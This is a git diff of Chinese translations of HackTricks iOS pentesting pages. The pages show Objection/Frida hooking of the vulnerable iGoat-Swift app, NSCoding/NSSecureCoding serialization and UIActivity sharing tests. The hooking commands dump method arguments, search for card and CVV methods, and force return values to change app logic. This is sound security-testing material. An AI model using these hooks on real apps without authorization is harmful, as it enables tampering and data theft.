学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
对于本节,将使用工具[**Objection**](https://github.com/sensepost/objection)。\
|
||||
首先要获取一个Objection的会话,执行类似以下命令:
|
||||
在本节中,将使用工具 [**Objection**](https://github.com/sensepost/objection)。\
|
||||
首先,通过执行类似以下内容来获取 objection 的会话:
|
||||
```bash
|
||||
objection -d --gadget "iGoat-Swift" explore
|
||||
objection -d --gadget "OWASP.iGoat-Swift" explore
|
||||
```
|
||||
你也可以执行 `frida-ps -Uia` 来检查手机上正在运行的进程。
|
||||
您还可以执行 `frida-ps -Uia` 来检查手机上正在运行的进程。
|
||||
|
||||
# 应用程序的基本枚举
|
||||
|
||||
## 本地应用程序路径
|
||||
|
||||
* `env`: 查找应用程序在设备内部存储的路径
|
||||
* `env`: 查找应用程序在设备内存储的路径
|
||||
|
||||
```bash
|
||||
env
|
||||
|
@ -38,9 +39,9 @@ DocumentDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A1
|
|||
LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library
|
||||
```
|
||||
|
||||
## 列出捆绑包、框架和库
|
||||
## 列出 Bundles、框架和库
|
||||
|
||||
* `ios bundles list_bundles`: 列出应用程序的捆绑包
|
||||
* `ios bundles list_bundles`: 列出应用程序的 bundles
|
||||
|
||||
```bash
|
||||
ios bundles list_bundles
|
||||
|
@ -133,9 +134,10 @@ AAAccountManager
|
|||
AAAddEmailUIRequest
|
||||
AAAppleIDSettingsRequest
|
||||
AAAppleTVRequest
|
||||
AAAttestationSigner
|
||||
[...]
|
||||
```
|
||||
* `ios hooking search classes <search_term>`: 搜索包含特定字符串的类。您可以**搜索与主应用程序包名称相关的某些唯一术语**,以查找应用程序的主要类,如示例中所示:
|
||||
* `ios hooking search classes <search_term>`: 搜索包含字符串的类。您可以**搜索与主应用程序包**名称相关的某些唯一术语,以找到应用程序的主要类,如示例所示:
|
||||
|
||||
```bash
|
||||
ios hooking search classes iGoat
|
||||
|
@ -169,7 +171,7 @@ ios hooking list class_methods iGoat_Swift.RCreditInfo
|
|||
- initWithValue:
|
||||
- setCardNumber:
|
||||
```
|
||||
* `ios hooking search methods <search_term>`: 搜索包含特定字符串的方法
|
||||
* `ios hooking search methods <search_term>`: 搜索包含字符串的方法
|
||||
|
||||
```bash
|
||||
ios hooking search methods cvv
|
||||
|
@ -186,21 +188,21 @@ ios hooking search methods cvv
|
|||
[iGoat_Swift.CloudMisconfigurationExerciseVC - setCvvTxtField:]
|
||||
```
|
||||
|
||||
# 基本Hooking
|
||||
# 基本 Hooking
|
||||
|
||||
现在您已经**枚举了应用程序使用的类和模块**,可能已经找到了一些**有趣的类和方法名称**。
|
||||
现在您已经**枚举了应用程序使用的类和模块**,您可能发现了一些**有趣的类和方法名称**。
|
||||
|
||||
## 钩住类的所有方法
|
||||
## Hook 所有类的方法
|
||||
|
||||
* `ios hooking watch class <class_name>`: 钩住类的所有方法,转储所有初始参数和返回值
|
||||
* `ios hooking watch class <class_name>`: Hook 类的所有方法,转储所有初始参数和返回值
|
||||
|
||||
```bash
|
||||
ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
|
||||
```
|
||||
|
||||
## 钩住单个方法
|
||||
## Hook 单个方法
|
||||
|
||||
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: 钩住类的特定方法,每次调用时转储参数、回溯和返回值
|
||||
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Hook 类的特定方法,每次调用时转储参数、回溯和返回值
|
||||
|
||||
```bash
|
||||
ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return
|
||||
|
@ -208,13 +210,13 @@ ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPresse
|
|||
|
||||
## 更改布尔返回值
|
||||
|
||||
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: 这将使所选方法返回指定的布尔值
|
||||
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: 这将使选定的方法返回指示的布尔值
|
||||
|
||||
```bash
|
||||
ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false
|
||||
```
|
||||
|
||||
## 生成Hooking模板
|
||||
## 生成 Hooking 模板
|
||||
|
||||
* `ios hooking generate simple <class_name>`:
|
||||
|
||||
|
@ -264,16 +266,17 @@ console.log('Leaving - setCvv:');
|
|||
```
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到**您的公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,36 @@
|
|||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# WebView协议处理程序
|
||||
# WebView 协议处理器
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,26 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
代码和更多信息请查看[https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence).
|
||||
代码和更多信息请见 [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)。
|
||||
|
||||
## iOS开发中的对象序列化
|
||||
## iOS 开发中的对象序列化
|
||||
|
||||
在iOS中,**对象序列化**涉及将对象转换为一种可以轻松存储或传输的格式,然后在需要时从该格式重建对象。两个主要协议,**`NSCoding`**和**`NSSecureCoding`**,为Objective-C或`NSObject`子类提供了便利,允许将对象序列化为**`NSData`**,这是一个包装字节缓冲区的格式。
|
||||
在 iOS 中,**对象序列化** 涉及将对象转换为可以轻松存储或传输的格式,然后在需要时从该格式重建它们。两个主要协议,**`NSCoding`** 和 **`NSSecureCoding`**,为 Objective-C 或 `NSObject` 子类提供了这一过程,允许对象序列化为 **`NSData`**,一种包装字节缓冲区的格式。
|
||||
|
||||
### **`NSCoding`** 实现
|
||||
要实现`NSCoding`,一个类必须继承自`NSObject`或标记为`@objc`。该协议要求实现两个方法来对实例变量进行编码和解码:
|
||||
要实现 `NSCoding`,一个类必须继承自 `NSObject` 或标记为 `@objc`。该协议要求实现两个方法来编码和解码实例变量:
|
||||
```swift
|
||||
class CustomPoint: NSObject, NSCoding {
|
||||
var x: Double = 0.0
|
||||
|
@ -36,8 +37,8 @@ self.init(x: aDecoder.decodeDouble(forKey: "x"), name: name)
|
|||
}
|
||||
}
|
||||
```
|
||||
### **通过`NSSecureCoding`增强安全性**
|
||||
为了减轻攻击者向已构建对象中注入数据的漏洞,**`NSSecureCoding`**提供了一个增强的协议。符合`NSSecureCoding`的类在解码过程中必须验证对象的类型,确保只有预期的对象类型被实例化。然而,需要注意的是,虽然`NSSecureCoding`增强了类型安全性,但它并不加密数据或确保数据完整性,因此需要额外的措施来保护敏感信息:
|
||||
### **通过 `NSSecureCoding` 增强安全性**
|
||||
为了减轻攻击者将数据注入已构造对象的漏洞,**`NSSecureCoding`** 提供了一种增强的协议。符合 `NSSecureCoding` 的类必须在解码时验证对象的类型,确保仅实例化预期的对象类型。然而,重要的是要注意,虽然 `NSSecureCoding` 增强了类型安全性,但它并不加密数据或确保其完整性,因此需要额外的措施来保护敏感信息:
|
||||
```swift
|
||||
static var supportsSecureCoding: Bool {
|
||||
return true
|
||||
|
@ -45,41 +46,42 @@ return true
|
|||
|
||||
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
|
||||
```
|
||||
## 使用 `NSKeyedArchiver` 进行数据归档
|
||||
`NSKeyedArchiver` 及其对应的 `NSKeyedUnarchiver` 允许将对象编码到文件中,然后在以后检索它们。这种机制对于持久化对象很有用:
|
||||
## Data Archiving with `NSKeyedArchiver`
|
||||
`NSKeyedArchiver` 和它的对应类 `NSKeyedUnarchiver` 使得将对象编码到文件中并随后检索成为可能。这个机制对于持久化对象非常有用:
|
||||
```swift
|
||||
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
|
||||
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint
|
||||
```
|
||||
### 使用 `Codable` 进行简化序列化
|
||||
Swift 的 `Codable` 协议结合了 `Decodable` 和 `Encodable`,简化了诸如 `String`、`Int`、`Double` 等对象的编码和解码,无需额外努力:
|
||||
### 使用 `Codable` 简化序列化
|
||||
Swift 的 `Codable` 协议结合了 `Decodable` 和 `Encodable`,便于对 `String`、`Int`、`Double` 等对象进行编码和解码,而无需额外的努力:
|
||||
```swift
|
||||
struct CustomPointStruct: Codable {
|
||||
var x: Double
|
||||
var name: String
|
||||
}
|
||||
```
|
||||
这种方法支持直接将数据序列化到属性列表和JSON,增强了Swift应用程序中的数据处理能力。
|
||||
这种方法支持将数据简单地序列化到属性列表和JSON中,从而增强Swift应用程序中的数据处理。
|
||||
|
||||
## JSON和XML编码替代方案
|
||||
除了原生支持外,还有几个第三方库提供了JSON和XML编码/解码功能,每个库都有其自己的性能特征和安全考虑。特别是要仔细选择这些库,以减轻漏洞,如通过配置解析器来防止外部实体处理的XXE(XML外部实体)攻击。
|
||||
除了原生支持外,还有几个第三方库提供JSON和XML编码/解码功能,每个库都有其自身的性能特征和安全考虑。必须仔细选择这些库,特别是为了减轻像XXE(XML外部实体)攻击等漏洞,通过配置解析器来防止外部实体处理。
|
||||
|
||||
### 安全考虑
|
||||
在序列化数据时,特别是要写入文件系统时,必须警惕可能包含敏感信息。如果序列化数据被拦截或处理不当,可能会导致应用程序面临未经授权的操作或数据泄露等风险。建议对序列化数据进行加密和签名以增强安全性。
|
||||
在序列化数据时,特别是写入文件系统时,必须警惕潜在的敏感信息的包含。如果序列化的数据被拦截或处理不当,可能会使应用程序面临未经授权的操作或数据泄露等风险。建议对序列化数据进行加密和签名,以增强安全性。
|
||||
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上**关注我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,64 +1,80 @@
|
|||
# iOS UIActivity Sharing
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
# UIActivity Sharing Simplified
|
||||
# UIActivity Sharing 简化
|
||||
|
||||
从iOS 6开始,第三方应用程序可以使用AirDrop等机制共享文本、URL或图像等数据,如苹果的[应用间通信指南](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3)中所述。此功能通过系统范围的_共享活动表_实现,用户与“分享”按钮交互时会出现该表。
|
||||
从 iOS 6 开始,第三方应用程序可以使用 AirDrop 等机制**共享数据**,例如文本、URL 或图像,具体内容见苹果的 [应用间通信指南](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3)。此功能通过系统范围的 _共享活动表_ 体现,当与“共享”按钮交互时会出现。
|
||||
|
||||
可以在[UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype)中找到所有内置共享选项的详尽枚举。开发人员可以选择排除特定的共享选项,如果认为这些选项不适合其应用程序。
|
||||
所有内置共享选项的全面列举可在 [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype) 中找到。开发者可以选择排除特定的共享选项,如果他们认为这些选项不适合他们的应用程序。
|
||||
|
||||
## **如何共享数据**
|
||||
|
||||
应注意以下内容:
|
||||
应关注以下几点:
|
||||
|
||||
- 要共享的数据的性质。
|
||||
- 包括自定义活动。
|
||||
- 排除某些活动类型。
|
||||
- 共享数据的性质。
|
||||
- 自定义活动的包含。
|
||||
- 某些活动类型的排除。
|
||||
|
||||
通过实例化`UIActivityViewController`来实现共享,将要共享的项目传递给它。这可以通过调用实现:
|
||||
共享是通过实例化 `UIActivityViewController` 来实现的,待共享的项目将传递给该控制器。这是通过调用实现的:
|
||||
```bash
|
||||
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
|
||||
0x1000df034 45 44 initWithActivityItems:applicationActivities:
|
||||
```
|
||||
开发人员应该仔细审查`UIActivityViewController`的初始化活动和自定义活动,以及任何指定的`excludedActivityTypes`。
|
||||
开发者应仔细检查 `UIActivityViewController` 的活动和初始化时的自定义活动,以及任何指定的 `excludedActivityTypes`。
|
||||
|
||||
## **如何接收数据**
|
||||
|
||||
在接收数据时,以下几个方面至关重要:
|
||||
接收数据时以下方面至关重要:
|
||||
|
||||
- **自定义文档类型**的声明。
|
||||
- 指定应用程序可以打开的**文档类型**。
|
||||
- 验证接收数据的**完整性**。
|
||||
- **应用可以打开的文档类型**的指定。
|
||||
- **接收数据的完整性**的验证。
|
||||
|
||||
即使没有访问源代码,也可以检查`Info.plist`中的键,如`UTExportedTypeDeclarations`,`UTImportedTypeDeclarations`和`CFBundleDocumentTypes`,以了解应用程序可以处理和声明的文档类型。
|
||||
在没有源代码访问的情况下,仍然可以检查 `Info.plist` 中的键,如 `UTExportedTypeDeclarations`、`UTImportedTypeDeclarations` 和 `CFBundleDocumentTypes`,以了解应用可以处理和声明的文档类型。
|
||||
|
||||
关于这些键的简明指南可在[Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i)上找到,强调了定义和导入UTIs以供系统广泛识别,并将文档类型与您的应用程序关联以在“打开方式”对话框中集成的重要性。
|
||||
关于这些键的简明指南可在 [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i) 上找到,强调了定义和导入 UTI 以便系统范围内识别的重要性,并将文档类型与您的应用关联,以便在“打开方式”对话框中集成。
|
||||
|
||||
## 动态测试方法
|
||||
|
||||
要测试**发送活动**,可以:
|
||||
要测试 **发送活动**,可以:
|
||||
|
||||
- 钩入`init(activityItems:applicationActivities:)`方法以捕获正在共享的项目和活动。
|
||||
- 通过拦截`excludedActivityTypes`属性来识别排除的活动。
|
||||
- 钩住 `init(activityItems:applicationActivities:)` 方法以捕获正在共享的项目和活动。
|
||||
- 通过拦截 `excludedActivityTypes` 属性来识别被排除的活动。
|
||||
|
||||
对于**接收项目**,涉及:
|
||||
对于 **接收项目**,涉及:
|
||||
|
||||
- 从其他来源(例如AirDrop,电子邮件)与应用程序共享文件,以触发“打开方式...”对话框。
|
||||
- 钩入`application:openURL:options:`等在静态分析期间识别的其他方法,以观察应用程序的响应。
|
||||
- 使用格式错误的文件或模糊技术来评估应用程序的健壮性。
|
||||
- 从其他来源(例如 AirDrop、电子邮件)与应用共享文件,提示“打开方式...”对话框。
|
||||
- 钩住 `application:openURL:options:` 以及在静态分析中识别的其他方法,以观察应用的响应。
|
||||
- 使用格式错误的文件或模糊测试技术来评估应用的稳健性。
|
||||
|
||||
## 参考资料
|
||||
## 参考
|
||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction)
|
||||
|
||||
{% hint style="success" %}
|
||||
